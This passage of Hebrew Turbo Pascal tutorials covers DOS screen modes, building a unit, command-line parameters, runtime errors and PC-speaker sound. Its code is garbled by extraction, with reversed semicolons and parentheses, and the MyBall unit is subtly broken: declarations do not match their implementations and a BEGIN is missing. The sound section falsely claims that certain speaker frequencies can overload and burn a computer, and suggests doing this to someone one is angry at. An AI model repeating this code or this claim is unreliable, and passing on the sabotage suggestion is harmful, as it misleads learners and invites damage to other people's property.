‫בשביל זה אנחנו נשתמש בקובץ חיצוני אחר שנקרא ‪ ...Crt.tpu‬עכשיו‪ ,‬אני הולך‬
‫להציג כאן קוד מקור שמשנה את גודל המסך‪ ,‬ואחריו הסברים‪:‬‬

‫‪;USES Crt‬‬
‫‪;VAR OrigMode, LastCol, LastRow:word‬‬
‫‪BEGIN‬‬
‫‪;OrigMode := LastMode‬‬
‫‪;)TextMode (Lo (LastMode) + Font8x8‬‬
‫‪;LastCol := Lo (WindMax) + 1‬‬
‫‪;LastRow := Hi (WindMax) + 1‬‬
‫‪;ClrScr‬‬
‫‪;)TextColor (White‬‬
‫‪;)WriteLn ('Last Col = ', LastCol‬‬
‫‪;)WriteLn ('Last Row = ', LastRow‬‬
‫‪;WriteLn‬‬
‫‪;)'...WriteLn ('Press any key to continue‬‬
‫‪;ReadKey‬‬
‫‪;)TextMode (OrigMode‬‬
‫‪;END‬‬

‫הסברים‬

‫טוב‪ ,‬בשורה הראשונה אנחנו מצהירים על שימוש בקובץ החיצוני שלנו‪.Crt.tpu ,‬‬
‫בשורה השנייה אנחנו יוצרים שלושה משתנים מסוג ‪ .Word‬המשתמש הראשון יציין‬
‫את גודל המסך האחרון שלנו‪ ,‬המשתנה השני יציין את השורה האחרונה אצלנו‪,‬‬
‫והמשתנה השלישי יציין את הטור האחרון אצלנו‪ .‬כאשר מתחילה התוכנית‪ ,‬הדבר‬
‫הראשון שאנחנו עושים הוא לשמור את גודל המסך האחרון שלנו בתוך המשתנה‪.‬‬
‫פעולה זו חשובה מאוד‪ ,‬מכיוון שאם תוכנית לא תשחזר את גודל המסך‪ ,‬מערכת‬
‫‪ Dos‬תהיה עם רזולוצייה שהיא לא תוכננה לה‪ ,‬וזה לא נראה טוב‪ ...‬אחר כך‪,‬‬
‫אנחנו נשתמש בתוך הזיכרון הנמוך כדי לגרום למסך להראות לנו גדול יותר (או‬
‫יותר נכון‪ ,‬לטקסט להיות קטן יותר ביחס לגודל המסך)‪ .‬תבינו‪ ,‬גודל המסך‬
‫בברירת המחדל של ‪ Dos‬הוא ‪ 80‬על ‪ .25‬אחרי הקוד שעשינו‪ ,‬גודל המסך הפך‬
‫להיות ‪ 80‬על ‪ .43‬אחר כך‪ ,‬אנחנו לוקחים שני משתנים‪ ,‬הראשון מקבל מהזיכרון‬
‫הנמוך את החלון ומוסיף לו עוד אחד לערך (כך שמשתנה זה יציין לנו את השורה‬
‫האחרונה)‪ ,‬ואת המשתנה השני‪ ,‬ששולף מתוך הזיכרון הגבוה ערך ומוסיף לו גם‬
‫אחד לערך (כך שהוא יציין לנו את הטור האחרון)‪ .‬עכשיו אנחנו נציג בתור פלט‬
‫את הערכים של המשתנים האחרונים שהגדרנו‪ ,‬נחכה ללחיצה על מקש כלשהו על ידי‬
‫שימוש בפונקציית ‪( ReadKey‬שנמצאת בתוך הקובץ החיצוני שלנו‪,)Crt.tpu ,‬‬
‫ולבסוף אנחנו משחזרים את גודל המסך שהיה לפני ששינינו אותו‪ .‬רק דבר אחד‬
‫לא הסברתי‪ ,‬וזה ‪ ...Font8x8‬עכשיו‪ ,‬לכאורה אנחנו משנים את גודל המסך‪ .‬גודל‬
‫המסך נמדד על פי יחידות של הסמן המהבהב‪ ,‬שנקרא ‪ Cp‬בתוך פסקל‪ .‬עכשיו‪ ,‬מה‬
‫שקורה הוא שאנחנו לא מגדילים את המסך‪ ,‬אלא מקטינים את גודל הסמן‪ ,‬ככה‬
‫שיוצא שמספר היחידות שלנו עולה‪ ,‬ולכאורה המסך גדל‪ .‬עכשיו‪ ,‬הנה כל סוגי‬
‫השינויים בגודל המסך שאפשר לעשות‪:‬‬

‫‪555‬‬
‫‪Font8x8‬‬

‫כמו מקודם‪ ,‬מגדיל רק את ערך קורדינטת ‪ Y‬של המסך לערך הגבוה ‪ .43‬משומש על‬
‫ידי מסך ‪ Ega‬וגם על ידי מסך ‪ .Vga‬מבחינת ערך מספרי‪ ,‬הערך שלו הוא ‪.256‬‬

‫‪Mono‬‬

‫משומש על ידי מסכי ‪ .Hgc‬מצב ‪ Mono‬כמעט לא משומש בתוכניות‪ .‬הערך המספרי של‬
‫‪ Mono‬הוא ‪ ,7‬והוא משנה את מצב המסך לגודל של ‪ 80‬על ‪ 25‬ומסך שחור לבן‪.‬‬

‫‪Co80‬‬

‫משומש על ידי מסכי ‪ .Cga‬מצב ‪ Co80‬הוא ברירת המחדל במערכת שלנו‪ .Dos :‬המסך‬
‫יהיה צבעוני בעל גודל של ‪ 80‬על ‪ .25‬הערך של ‪ Co80‬הוא ‪.3‬‬

‫‪Bw80‬‬

‫משומש על ידי מסכי ‪ .Cga‬מצב ‪ Bw80‬הוא כמו מצב ‪ Co80‬אבל בו אין צבעים (מסך‬
‫שחור לבן)‪ ,‬לעומת ‪ Co80‬הצבעוני‪ .‬הערך של מצב ‪ Bw80‬הוא ‪.2‬‬

‫‪Co40‬‬

‫משומש על ידי מסכי ‪ .Cga‬מצב ‪ Co40‬הוא בדיוק כמו מצב ברירת המחדל (‪,)Co80‬‬
‫אלא שבמצב ‪ Co40‬גודל המסך הוא ‪ 40‬על ‪ .25‬הערך שלו הוא ‪.1‬‬

‫‪Bw40‬‬

‫משומש על ידי מסכי ‪ .Cga‬מצב ‪ Bw40‬הוא כמו מצב ‪ Co40‬אלא שלו אין צבעים‪.‬‬
‫הערך שלו הוא ‪.0‬‬

‫בעיות עם מצבי מסך‬

‫לא פעם קורה שבמערכת מסויימת מצב מסויים לא עובד‪ .‬השגיאה הכי נפוצה היא‬
‫השימוש בזיכרון נמוך‪ .‬הזיכרון הנמוך משומש בדרך כלל למצב ברירת המחדל‬
‫ולמצב ‪ Font8x8‬בלבד‪ .‬כל שימוש אחר הוא זיכרון גבוה (‪ .)Hi‬בדקו גם שלמסך‬
‫שלכם מחוברים האדפטורים שציינתי‪.‬‬

‫‪556‬‬
‫בניית קבצים חיצוניים‬

‫כן‪ ,‬גם אתם יכולים לבנות קבצי ‪ tpu‬בעצמכם‪ .‬הלמידה ליצירת קבצים חיצוניים‬
‫היא קשה מאוד‪ ,‬אבל משתלמת‪ .‬טוב‪ ,‬בואו נתחיל לבנות לנו קובץ חיצוני‪.‬‬
‫בקבצים חיצוניים יש לפעמים שימושים באסמבלי‪ ,‬כך שעדיף שיהיה לכם ידע‬
‫באסמבלי‪ .‬טוב‪ ,‬כדי לציין בניית קובץ חיצוני‪ ,‬קודם כל נציין את שם היחידה‬
‫על ידי שימוש במילת המפתח ‪ Unit‬ואחריה את שם היחידה‪ .‬לאחר מכן נכנס לחלק‬
‫שנקרא ‪ .Interface‬חלק זה מציין את התחלת הקוד הציבורי של הקובץ החיצוני‪.‬‬
‫בדרך כלל משומשים שם מחלקות וקונסטרקטורים‪ .‬הקונסטרקטור (‪)Contructor‬‬
‫מוכר למפתחים של ג'אווה‪ :‬הוא בעצם בונה את המחלקה שאותה יצרת‪ .‬לאחר החלק‬
‫של ‪ ,Interface‬מגיע החלק המעשי שנקרא ‪ .Implementation‬חלק זה הוא יישום‬
‫כל הפרוצדורות והפונקציות שבנינו לעצמנו יחד עם הקונסטרקטור‪ .‬דבר אחרון‬
‫שרציתי להסביר זה השימוש של המילה ‪ .Virtual‬מילה זו באה אחרי מאפיין של‬
‫אובייקט שאנחנו יצרנו בעזרת הקונסטרקטור‪ ,‬והתפקיד שלה הוא לחבר את הפעולה‬
‫של הקונסטרקטור בזמן ההרצה עם הקוד המתאים‪ .‬השימוש העיקרי במילת ‪Virtual‬‬
‫היא בפרוצדורות פנימיות של אובייקטים‪ .‬טוב‪ ,‬אני חושב שכיסינו את הרוב‬
‫בכלליות‪ .‬עכשיו אנחנו יכולים כבר לנסות לבנות לנו מחלקה‪ .‬אנחנו נבנה‬
‫מחלקת אובייקט בשם ‪ MyBall‬שתציין כדור‪ .‬עכשיו‪ ,‬יהיו לנו כמה מאפיינים‪:‬‬
‫צבע‪ ,‬מיקום ואם הוא נראה או לא‪ .‬יהיו לנו גם פונקציות‪ :‬שינוי הצבע‪ ,‬שינוי‬
‫המיקום‪ ,‬הסתרה שלו והצגה שלו‪ .‬הנה קוד המקור שיצרתי בשביל הדוגמא הזאת‪:‬‬

‫‪;UNIT Ball‬‬
‫‪INTERFACE‬‬
‫‪;USES Crt‬‬
‫‪TYPE‬‬
‫‪MyBall = OBJECT‬‬
‫‪;X, Y:byte‬‬
‫‪;Visible:boolean‬‬
‫‪;Color:integer‬‬
‫‪;)CONSTRUCTOR Init (InitX, InitY, InitClr:integer‬‬
‫‪;PROCEDURE MoveBall (NewX, NewY:integer); VIRTUAL‬‬
‫‪;PROCEDURE Show; VIRTUAL‬‬
‫‪;PROCEDURE Hide; VIRTUAL‬‬
‫‪;FUNCTION SetColor:integer‬‬
‫‪;FUNCTION IsVisible:boolean‬‬
‫‪;END‬‬
‫‪IMPLEMENTATION‬‬
‫‪;)CONSTRUCTOR MyBall.Init(InitX, InitY, InitClr:integer‬‬
‫‪BEGIN‬‬
‫‪;X := InitX‬‬
‫‪;Y := InitY‬‬
‫‪;Color := InitClr‬‬
‫‪;END‬‬
‫‪;)PROCEDURE MyBall.MoveBall(NewX, NewY:byte‬‬
‫‪BEGIN‬‬
‫‪;X := NewX‬‬
‫‪;Y := NewY‬‬
‫‪;END‬‬

‫‪557‬‬
‫‪;)PROCEDURE MyBall.SetColor(NewColor:integer‬‬
‫‪;Color := NewColor‬‬
‫‪;END‬‬
‫‪;PROCEDURE MyBall.Show‬‬
‫‪BEGIN‬‬
‫‪;Visible := True‬‬
‫‪;END‬‬
‫‪;PROCEDURE MyBall.Hide‬‬
‫‪BEGIN‬‬
‫‪;Visible := False‬‬
‫‪;END‬‬
‫‪.END‬‬

‫מילים לסיום‬

‫עכשיו אתם יודעים איך ליצור קבצים חיצוניים באופן כללי‪ .‬כמובן שיש עוד‬
‫הרבה מה לדבר‪ ,‬אבל זה הרעיון בכלליות‪ :‬בניית האובייקט ומאפייניו‪ ,‬והגדרה‬
‫מחדש על ידי פונקציות‪ .‬עכשיו אני מקווה שאתם מבינים יותר טוב איך בנויה‬
‫שפת פסקל‪ ,‬ואיך התוכנית מתקשרת עם פונקציות‪ .‬עוד דבר חשוב שלמדנו היום זה‬
‫השימוש באסמבלי בתוך פסקל‪ ,‬וגם למדנו את החיפוש של הקבצים שגם הוא פרק‬
‫חשוב מאוד בפסקל‪ .‬מקווה שלמדתם הרבה‪ ,‬ושעכשיו תוכלו ליצור תוכניות יותר‬
‫מעניינות מבחינה גרפית ומבחינה טכנית‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪558‬‬
‫עבודה עם פרמטרים בפסקל‬
‫טוב‪ ,‬היום נעשה את אחד הדברים שאם אס דוס הכי מתבסס עליהם‪ .‬עד היום‪ ,‬אם‬
‫ידעתם פסקל‪ ,‬ידעתם שכאשר אנחנו מכניסים פקודה היא מתבצעת‪ ,‬אבל רק פקודה‬
‫באופן מדוייק‪ .‬לדוגמא‪ ,‬בואו ננסה לבנות פקודה שתכנס לתיקייה‪ ,‬כמו הפקודה‬
‫הנודעת ‪ Cd‬בתוך דוס‪ .‬לחצו על קונטרול ושיפט‪:‬‬

‫‪VAR‬‬
‫‪;CurrentDir:string‬‬
‫‪;EnterDir:string‬‬
‫‪BEGIN‬‬
‫‪;)GetDir(0,CurrentDir‬‬
‫‪;)ReadLn(EnterDir‬‬
‫‪;)ChDir(CurrentDir + '\' + EnterDir‬‬
‫‪.END‬‬

‫הסברים‬

‫למי שלא הבין‪ ,‬אנחנו מקבלים את המיקום של התיקייה לתוך ‪ ,CurrentDir‬משתנה‬


‫מסוג סטרינג (מחרוזת טקסטואלית)‪ .‬אחרי זה אנחנו מקבלים מהמשתמש את הערך‬
‫של המשתנה ‪ ,EnterDir‬שישמש אותנו אחרי זה בתור התיקייה החדשה שאליה אנחנו‬
‫רוצים להכנס‪ .‬בשורה אחרי‪ ,‬אנחנו נכנסים לתיקייה הבאה‪ ,‬שמורכבת משלושה‬
‫חלקים‪ :‬התיקייה הנוכחית‪ ,‬הסימן סלאש \ לסמן חציצה בין תיקיות‪ ,‬וכמובן שיש‬
‫את השם של התיקייה החדשה‪.‬‬

‫עבודה עם פרמטרים‬

‫טוב‪ ,‬בדוס הדברים פועלים אחרת‪ .‬אתה לא כותב ‪ ,Cd‬לוחץ אנטר‪ ,‬ואז כותב את‬
‫השם של התיקייה ולוחץ אנטר שוב‪ .‬בדוס אתה כותב ‪ Cd NewDir‬ולוחץ אנטר‪ .‬אז‪,‬‬
‫איך עושים את זה? עם פרמטרים כמובן!!! פרמטר בפסקל הוא טקסט שמופרד משאר‬
‫הטקסט על ידי רווח‪ .‬פרמטרים מסומנים במספרים‪ .‬המספר אפס הוא מספר מיוחד‪,‬‬
‫הוא מציין את המיקום של הקובץ‪ .‬אחרי זה יש מספרים‪.‬‬

‫דוגמא‬

‫טוב‪ ,‬הדרך הכי טובה היא שפשוט תראו‪ .‬מכירים את הפקודה ‪ Echo‬בדוס? למי שלא‬
‫מכיר‪ ,‬שייכנס לדוס ויכתוב ‪ Echo Wass up‬וילחץ אנטר‪ .‬עכשיו‪ ,‬למי שהבין‪,‬‬
‫הפקודה מקבלת פרמטר וכותבת אותו‪ .‬בערך‪ ...‬תלחצו קונטרול ושיפט‪:‬‬

‫‪BEGIN‬‬
‫‪IF ParamCount = 0 THEN‬‬
‫‪BEGIN‬‬
‫‪;WriteLn‬‬
‫‪END‬‬
‫‪ELSE‬‬
‫‪;))WriteLn(ParamStr(1‬‬
‫‪.END‬‬
‫‪.END‬‬

‫‪559‬‬
‫הסברים‬

‫‪ :ParmaCount‬ספירת הפרמטרים‪ .‬אם הוא אפס אז הוא כותב שורה ריקה‪.‬‬


‫‪ :ParamStr‬הטקסט של הפרמטר‪ .‬אחרי זה מציינים את מספר הפרמטר‪.‬‬

‫זה לא עובד!!!‬

‫נכון‪ ,‬אם תבדקו את התוכנה טוב טוב‪ ,‬תראו שזה לא כל כך יפעל‪ .‬זה מכניס רק‬
‫מילה אחת‪ .‬לדוגמא‪ ,‬אם נכתוב ‪ ,Write Hello World‬בתנאי שלתוכנה שבנינו‬
‫קוראים ‪ ,Write‬אז הוא יכתוב רק ‪ Hello‬ולא את הכל‪ .‬למה? כי ציינו שאנחנו‬
‫רוצים רק את הפרמטר הראשון‪ .‬הנה התוכנית המלאה‪ .‬תלחצו קונטרול ושיפט‪:‬‬

‫‪;PROGRAM WriteSomething‬‬
‫‪VAR‬‬
‫‪;ParamTimes:longint‬‬
‫‪;VarX:longint‬‬
‫‪BEGIN‬‬
‫‪IF ParamCount = 0 THEN‬‬
‫‪BEGIN‬‬
‫‪;WriteLn‬‬
‫‪END‬‬
‫‪ELSE‬‬
‫‪;ParamTimes := ParamCount‬‬
‫‪FOR VarX := 1 TO ParamTimes DO‬‬
‫‪BEGIN‬‬
‫‪;)' ' ,)Write(ParamStr(VarX‬‬
‫‪;END‬‬
‫‪.END‬‬
‫‪.END‬‬

‫הסברים‬

‫טוב‪ ,‬פה אנחנו בונים לופ‪ ,‬שעולה מאחד (פרמטר ראשון) עד לפרמטר הסופי‪ ,‬וזה‬
‫בעצם מספר הפרמטרים בתוכנית‪ .‬נסו‪ ,‬ותבדקו‪.‬‬

‫סיום‬

‫הפרמטרים‪ ,‬כמו שגיליתם‪ ,‬הם דבר מועיל לאללה‪ ,‬ועוזר מאוד‪ .‬זה לא קל להשתמש‬
‫בפרמטרים‪ ,‬אבל אחרי זמן מסויים‪ ,‬אתם תתרגלו‪ .‬אז תהנו‪ ,‬ואם יש לכם בעיות‬
‫תתפסו אותי באייסיקיו‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪560‬‬
‫עוד קצת על פתרון בעיות בשפת פסקל‬
‫בטח כבר קרה לכם המון בעיות הרצה (‪ .)Runtime Errors‬לדוגמא‪ :‬בניתם מחשבון‬
‫חביב כזה‪ ,‬שעושה חיבור‪ ,‬חיסור‪ ,‬כפל‪ ,‬חילוק‪ ,‬ומבקש שני מספרים מהמשתמש‪.‬‬
‫הנה לדוגמא‪ ,‬קוד מקור למחשבון כזה (קונטרול ושיפט)‪:‬‬

‫‪;PROGRAM Calculator‬‬
‫‪VAR‬‬
‫‪;VarX:longint‬‬
‫‪;VarY:longint‬‬
‫‪BEGIN‬‬
‫‪;)' :Write('Insert one number please‬‬
‫‪;)ReadLn(VarX‬‬
‫‪;)' :Write('Insert another number please‬‬
‫‪;)ReadLn(VarY‬‬
‫‪;)WriteLn(VarX, ' + ', VarY, ' = ', VarX + VarY‬‬
‫‪;)WriteLn(VarX, ' - ', VarY, ' = ', VarX - VarY‬‬
‫‪;)WriteLn(VarX, ' * ', VarY, ' = ', VarX * VarY‬‬
‫‪;)WriteLn(VarX, ' / ', VarY, ' = ', VarX / VarY‬‬
‫‪.END‬‬

‫תמיד אמרו לכם שמחשבים זה מתימטיקה‪ ,‬נכון? חחחחחחח‪ ...‬טוב‪ ,‬עכשיו‪ ,‬פה הכל‬
‫מתפקד נהדר‪ ,‬תבדקו אם אתם לא מאמינים לי‪ ...‬חוץ מדבר אחד שיכול לקרות‪...‬‬
‫מה יקרה אם המספר השני‪ ,‬שמיוצג בתור המשתנה ‪ ,VarY‬יהיה שווה לאפס? כמובן‪,‬‬
‫יש אפשרות כזאת תמיד‪ ,‬יש גם אפשרות שהמשתמש יכניס מינוסים‪ ,‬אבל אין לנו‬
‫בעייה עם מינוסים‪ ...‬אז בואו נראה מה קורה אם נכניס אפס‪ .‬העתקתי את כל‬
‫הפלט של התוכנית לפה (קונטרול ושיפט שוב)‪:‬‬

‫‪Insert one number please: 8‬‬


‫‪Insert another number please: 0‬‬
‫‪8=0+8‬‬
‫‪8=0-8‬‬
‫‪0=0*8‬‬
‫‪Runtime error 200 at 0000:0258 = 0 / 8‬‬

‫הסברים‬

‫בהתחלה הייתה שורת טקסט שהיא פלט מהתוכנית‪ ,‬ואז הכנסנו את ‪.8‬‬
‫אחרי זה הייתה עוד שורת טקסט שהיא גם פלט מהתוכנית‪ ,‬ואז הכנסנו את ‪.0‬‬
‫בחיבור בין שני המספרים אין לנו בעייה‪ ,‬התוצאה היא ‪.8‬‬
‫בחיסור בין שני המספרים גם אין לנו שום בעייה‪ ,‬זה יוצא גם ‪.8‬‬
‫בכפל ביניהם אין לנו שום בעייה‪ ,‬התוצאה יוצאת ‪.0‬‬
‫בחילוק יש בעייה‪ :‬ניסינו לחלק שמונה באפס‪.‬‬

‫מה קרה?‬

‫טוב‪ ,‬מי שזוכר את שיעורי מתימטיקה (אבל אז קראו לזה "חשבון"‪ )...‬יודע שזה‬
‫לא אפשרי לחלק באפס‪ .‬למה? בגלל שאם שמונה לחלק לשניים זה ארבע‪ ,‬אז ארבע‬
‫כפול שתיים זה שמונה‪ ,‬נכון? אם שמונה לחלק לאפס זה ‪ ,X‬אז ‪ X‬כפול אפס זה‬
‫שמונה‪ ,‬נכון? לא נכון!!! ובגלל זה אסור לחלק באפס!!!‬

‫‪561‬‬
‫איך פותרים את הבעייה?‬

‫טוב‪ ,‬זוכרים שכתבנו שורה שמקבלת את המספר השני? בואו ננסה לשפר אותו קצת‪,‬‬
‫ככה שאם יש אפס אז הוא יצא מהתוכנית (קונטרול ושיפט)‪:‬‬

‫‪;PROGRAM Calculator‬‬
‫‪VAR‬‬
‫‪;VarX:longint‬‬
‫‪;VarY:longint‬‬
‫‪BEGIN‬‬
‫‪;)' :Write('Insert one number please‬‬
‫‪;)ReadLn(VarX‬‬
‫‪;)' :Write('Insert another number please‬‬
‫‪;)ReadLn(VarY‬‬
‫‪IF VarY = 0 THEN‬‬
‫‪BEGIN‬‬
‫‪;)'WriteLn('Error #200: Can''t divide by ziro‬‬
‫‪;Exit‬‬
‫‪;END‬‬
‫‪;)WriteLn(VarX, ' + ', VarY, ' = ', VarX + VarY‬‬
‫‪;)WriteLn(VarX, ' - ', VarY, ' = ', VarX - VarY‬‬
‫‪;)WriteLn(VarX, ' * ', VarY, ' = ', VarX * VarY‬‬
‫‪;)WriteLn(VarX, ' / ', VarY, ' = ', VarX / VarY‬‬
‫‪.END‬‬

‫הסברים‬

‫טוב‪ ,‬פה יש לנו מצב‪ ,‬שאם יש אפס‪ ,‬אז הוא כותב שאסור לחלק באפס ואז יוצא‬
‫מהתוכנית כדי לא להכנס למצב של שגיאה‪.‬‬

‫זיהוי שגיאות‬

‫אפשר לזהות שגיאה בקלות על ידי כלי מאוד שימושי בשפת פסקל‪ ,‬שנקרא בעברית‪:‬‬
‫תוצאת קלט\פלט‪ ,‬באנגלית‪ ,Input\Output Result :‬או בקיצור‪ .I\O Result :‬לא‬
‫משנה איך תקראו לזה‪ ,‬זה בעצם מחזיר מספר של שגיאה‪ .‬עכשיו‪ ,‬כשאין שגיאה‬
‫הכלי הזה מחזיר את המספר אפס‪ .‬כאשר יש משהו ששונה מאפס‪ ,‬יש שגיאה‪ .‬דוגמא‬
‫טובה היא קוד המקור הבא‪ ,‬שטוען תוכנית ואז מחזיר את כל השגיאות‪ .‬אם עדיין‬
‫לא קלטתם‪ ,‬זה הזמן ללחוץ על קונטרול ושיפט‪:‬‬

‫‪;PROGRAM FileChecking‬‬
‫‪;USES Crt‬‬
‫‪;VAR FileCool: FILE OF Byte‬‬
‫‪BEGIN‬‬
‫‪;))Assign(FileCool, ParamStr(1‬‬
‫‪;)Reset(FileCool‬‬
‫‪IF IOResult = 0 THEN‬‬
‫‪))WriteLn('File size in bytes: ', FileSize(FileCool‬‬
‫‪ELSE‬‬

‫‪562‬‬
‫‪;)'WriteLn('File not found‬‬
‫‪.END‬‬

‫הסברים‬

‫הקובץ מתקבל בתוך שורת הפקודה‪ .‬אחר כך יש בדיקה‪ :‬האם עלתה שגיאה? אם הוא‬
‫מחזיר אפס (אין שגיאה) אז הוא כותב את הגודל של הקובץ‪ .‬אם הוא יצא מספר‬
‫ששונה מאפס‪ ,‬אז כנראה הקובץ לא קיים‪ ,‬ויש פלט שכותב שהקובץ לא קיים‪.‬‬

‫לגרום לשגיאות‬

‫יש כלי חכם מאוד שגורם לשגיאות בלי לעשות שגיאה אמיתית‪ .‬השימוש לזה הוא‬
‫בדרך כלל על ידי מתכנתים שרוצים לבדוק את העמידות של התוכנית שלהם‪ ,‬או‬
‫כשמישהו רוצה לבנות דיבאגר‪ .‬הנה דוגמא לכלי הזה (קונטרול ושיפט)‪:‬‬

‫‪BEGIN‬‬
‫‪;)RunError(200‬‬
‫‪.END‬‬

‫הסברים‬

‫הכלי כמו שבטח הבנתם‪ ,‬הוא ‪ .RunError‬אחרי זה צריך לציין בסוגריים את מספר‬
‫השגיאה‪ .‬לדוגמא‪ ,‬פה השגיאה היא חילוק באפס‪ .‬ככה אפשר לבדוק מספר של כל‬
‫שגיאה‪ .‬אפס לדוגמא‪ ,‬זאת שגיאה לא מזוהה‪ ,‬יעני הוא לא כותב פירוט עליה‪.‬‬
‫המספר אחד זה קוד דוס לא חוקי‪ .‬שתיים זה הקובץ לא נמצא‪ .‬שלוש זה מיקום לא‬
‫נמצא‪ .‬ארבע זה עומס קבצים פתוחים על הזיכרון‪ .‬יש מלא מלא מלא שגיאות שכמו‬
‫שהבנתם‪ ,‬מיוצגות על ידי מספרים‪ .‬שגיאות הם דבר חיוני מאוד‪ .‬לדוגמא‪ :‬אם‬
‫התוכנית לא הייתה עוצרת בשגיאה מספר ארבע‪ ,‬הזיכרון שלכם היה קורס‪ .‬בעצם‪,‬‬
‫כל פעם שעולה שגיאה יש עצירה של התוכנית‪.‬‬

‫אני מקווה שאתם מבינים קצת על איך עובדים עם ניפוי שגיאות יותר טוב ממה‬
‫שהבנתם מקודם‪ .‬זיבולי שכל‪ ,‬בעיות עם שומרי מסך ושאר ירקות ייתקבלו אצלי‬
‫באי מייל‪ ,‬או באייסיקיו‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪563‬‬
‫קול וצלילים לפסקל‬
‫אם כבר קראתם את כל הכתבות שלי על פסקל‪ ,‬צריכים להיות לכם הדברים הבאים‪:‬‬

‫‪ )1‬עורך של פסקל‪.‬‬
‫‪ )2‬קומפיילר של שפת פסקל‪.‬‬
‫‪ )3‬ידע בסיסי בפסקל‪.‬‬
‫‪ )4‬הגיון כלשהו בפסקל‪ ,‬ובתכנות בכלל‪.‬‬
‫‪ )5‬לפחות תוכנית אחת שנבנתה בפסקל‪.‬‬
‫‪ )6‬אם אס דוס‪.‬‬

‫אם אין לכם אחד מהדברים הבאים‪ ,‬תשיגו עורך וקומפיילר‪ ,‬תשיגו אם אס דוס אם‬
‫אין לכם (חחחחח‪ ,)...‬תקראו את הכתבות שכתבתי (היו ‪ 3‬כתבות‪ ,‬לא כולל את‬
‫הכתבה הזאת)‪ ,‬ונסו לבנות תוכנית בפסקל (לא משהו כבד‪ ,‬תבנו מחשבון למשל)‪.‬‬
‫טוב‪ ,‬עכשיו לעבודה‪ .‬היום אנחנו נלמד על האפקטים הקוליים בפסקל‪ .‬יש כמה‬
‫דברים שאתם צריכים לדעת על האפקטים האלה‪:‬‬

‫‪ )1‬אל תצפו לאפקטים מרשימים‪ ,‬זה בסך הכל אם אס דוס‪.‬‬


‫‪ )2‬הקולות בפסקל יוצאים מהמחשב עצמו‪ ,‬מחלק הנקרא "‪."Internal Speaker‬‬
‫‪ )3‬חלק מהקולות מסוכנים‪ ,‬בעיקר הגבוהים‪ ,‬שגורמים לכאבי ראש‪ ,‬אז זהירות‪.‬‬
‫‪ )4‬הקולות עובדים על שלושה חלקים‪ ,‬שעליהם ארחיב בהמשך‪.‬‬

‫טוב‪ ,‬למי שלא הבין‪ :‬הקולות בפסקל יוצאים מהקופסא של המחשב‪ ,‬משהו שבעצם‬
‫דומה לסאונד בבונוס‪ ,‬שלא מכוון על "‪ ."Sound Blaster‬עוד דבר חשוב‪ ,‬אני‬
‫חוזר ומדגיש לעקוב באופן צמוד אחרי ההוראות‪ ,‬כי פעם יצא לי צליל מהמחשב‬
‫שאחרי שנייה כל הכלבים בשכונה באו לבית שלי‪...‬‬

‫סוף סוף מתחילים‬

‫טוב‪ ,‬תפתחו את העורך של פסקל‪ ,‬ותכתבו את השורות הבאות‪ .‬אחרי השורות האלה‬
‫יבואו הסברים (תלחצו על קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪BEGIN‬‬
‫‪;)Sound (500‬‬
‫‪;)Delay (20000‬‬
‫‪;NoSound‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :USES Crt‬אתם כבר מכירים‪ ,‬אנו משתמשים בקובץ חיצוני שנקרא ‪.Crt.tpu‬‬
‫‪ :BEGIN‬גם את זה אתם מכירים‪ ,‬זאת ההתחלה של התוכנית‪.‬‬
‫‪ :Sound‬זאת הפונקצייה שמגדירה את הסאונד‪ ,‬שנמדד ביחידה הרץ‪.‬‬
‫‪ :Delay‬זה הזמן שיהיה את הסאונד‪ ,‬נמדד ביחידה מילי ‪ -‬שנייה‪.‬‬
‫‪ :NoSound‬זה מפסיק את הסאונד‪.‬‬
‫‪ :END‬טוב נו‪ ,‬זה סוף התוכנית‪.‬‬

‫‪Sound‬‬

‫‪564‬‬
‫טוב‪ ,‬הצלילים החוקיים בפסקל נעים בין ‪ 0‬הרץ לבין ‪ 65535‬הרץ‪ .‬יש סבירות‬
‫גבוהה שלא תשמעו ‪ 0‬הרץ (אלא אם כן אתם משוגעים) וגם לא את ‪ 65535‬הרץ (אלא‬
‫אם כן אתם כלבים)‪ .‬העוצמות שנשמעות לאוזן האנושית הן בין ‪ 20‬הרץ לבין‬
‫‪ 12000‬הרץ‪ .‬וגם זה בקושי‪.‬‬

‫‪Delay‬‬

‫זה הזמן שהסאונד ינגן‪ .‬העיקובים החוקיים בפסקל נעים בין ‪ 0‬מילי שניות‬
‫לבין ‪ 65535‬מילי שניות‪ .‬יש דרך לרמות את זה‪ ,‬שאותה אני אסביר אחר כך‪ ,‬כך‬
‫שאפשר ליצור עיקוב ארוך יותר מהשיניים הקדמיות של סוס ממוצע‪ ...‬טוב‪ ,‬הנה‬
‫התשובה לאיך לעבוד על העיקוב‪ .‬מה יותר טוב מהאקר? שני האקרים!!! והנה‬
‫התשובה‪ :‬יוצרים פשוט שני עיקובים אחד אחרי השני!!! זה הולך בערך ככה‪ ,‬זה‬
‫סתם קצת חשיבה (תלחצו על קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪BEGIN‬‬
‫‪;)Sound (500‬‬
‫‪;)Delay (65535‬‬
‫‪;)Delay (65535‬‬
‫‪;NoSound‬‬
‫‪.END‬‬

‫טוב‪ ,‬כמו שאתם רואים אפשר לעשות עיקוב אחרי עיקוב‪ ,‬ובסוף להגיע לסאונד‬
‫שנמשך עד אינסוף (בעזרת לולאה אינסופית) וגורם לכאב ראש חזק במיוחד‪ .‬אם‬
‫אתם ממש ממש ממש עצבניים על מישהו‪ ,‬נסו לבנות תוכנה שמשתמשת בעוצמות הרץ‬
‫מסויימות שיעשו עומס יתר למחשב וישרפו אותו‪ .‬זה אפשרי‪ ,‬תאמינו לי!!!‬

‫‪NoSound‬‬

‫טוב‪ ,‬זה פשוט גורם להפסקת הסאונד‪ .‬אין מה להסביר פה‪ ,‬זה סתאאאאם פונקצייה‬
‫חשובה אבל מסכנה לאללה!!!‬

‫נראה אתכם עכשיו‬

‫נסו לבנות תוכנית בפסקל שמנגנת את "יונתן הקטן"‪ ...‬מי ששולח לי לאי מייל‬
‫ראשון‪ ,‬יזכה באיקס עיגול שבניתי בפסקל ‪ +‬קוד מקור‪ .‬באמת!!!‬

‫תוכניות מסכנות‪ ,‬קודי מקור‪" ,‬יונתן הקטן"‪" ,‬לדוד משה היה תפוח אדמה"‪,‬‬
